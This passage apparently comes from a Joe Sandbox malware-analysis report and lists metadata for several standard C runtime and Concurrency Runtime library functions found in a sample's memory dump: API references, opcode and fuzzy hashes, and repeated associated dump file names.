Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00612D0F

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: acc73dba38cf3c8113de77e6c4210a33be6fb471b0e66d7ad4a2b6744deef744
Instruction ID: b95edb466bf15fdd954f780fdddbe5b30342d89ba79c2014cbad14867b2543cf
Opcode Fuzzy Hash: acc73dba38cf3c8113de77e6c4210a33be6fb471b0e66d7ad4a2b6744deef744
Instruction Fuzzy Hash: 7D313A75A0030ADFCF10DF94D490AEE7BBAAF45310F1804AAD9019B346D770A995DBA0

Function 006213F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006213FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00621447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0062147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0062152A

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: cc2b2a730a23b2ee207a73ceec9a65e930cc3a6b24004e713198d8bcd23aff55
Instruction ID: 6296bebfd76162320c36886e2595c132abf46fa6fff4476c55b635d1f510bcff
Opcode Fuzzy Hash: cc2b2a730a23b2ee207a73ceec9a65e930cc3a6b24004e713198d8bcd23aff55
Instruction Fuzzy Hash: 49316271E00A169BCB44EFA8D4915EDFBF6BF99710B14822DE415AB381CB34AA41CF94

Function 0060BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0060BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BBE4
_xtime_get.LIBCPMT ref: 0060BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BC13

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction ID: cda47d63e1a8c6ec73fb5afb9e2ce7f9aa5fcc926613e40d54cd5fe4acb82b3a
Opcode Fuzzy Hash: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction Fuzzy Hash: C5215175A40119AFDF04EFA4CC819BFB7BAEF09720F105119FA01B7291DB719D019BA5

Function 00619C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00619C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00619CE8
std::bad_exception::bad_exception.LIBCMT ref: 00619CFE
std::bad_exception::bad_exception.LIBCMT ref: 00619D6A

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 7832aa12e0d9ad9a2659ea977ca009086958929e67e409a1113107f37ef43769
Instruction ID: 8c30883d3c5284005ee503af0b8d98a33e1e8363ace33ac999464786793b2cef
Opcode Fuzzy Hash: 7832aa12e0d9ad9a2659ea977ca009086958929e67e409a1113107f37ef43769
Instruction Fuzzy Hash: 1D21F875D009049FCB48EFA4E492DEEB7F6EF05310B29406DF001AB291DB316E81CB64

Function 0061A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0061A069

Part of subcall function 0061B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0061B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0061A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0061A0CB

Part of subcall function 0061AB41: List.LIBCONCRT ref: 0061AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0061A0DB

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 60ac11d0ea87961bbe12c81cdddecbaec137ab94c610c1db46dbc9166a2823a1
Instruction ID: 4c5b347cf6af0b8231a2829b7c767aceaf2d762efbda9722b50417cf95a7bf77
Opcode Fuzzy Hash: 60ac11d0ea87961bbe12c81cdddecbaec137ab94c610c1db46dbc9166a2823a1
Instruction Fuzzy Hash: 9B21A931501B159FCB64EFA5D8918EBF3F6FF4C3107084A5EE442A7651CB70A981CBA6

Function 00614885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00614893
ListArray.LIBCONCRT ref: 006148A5

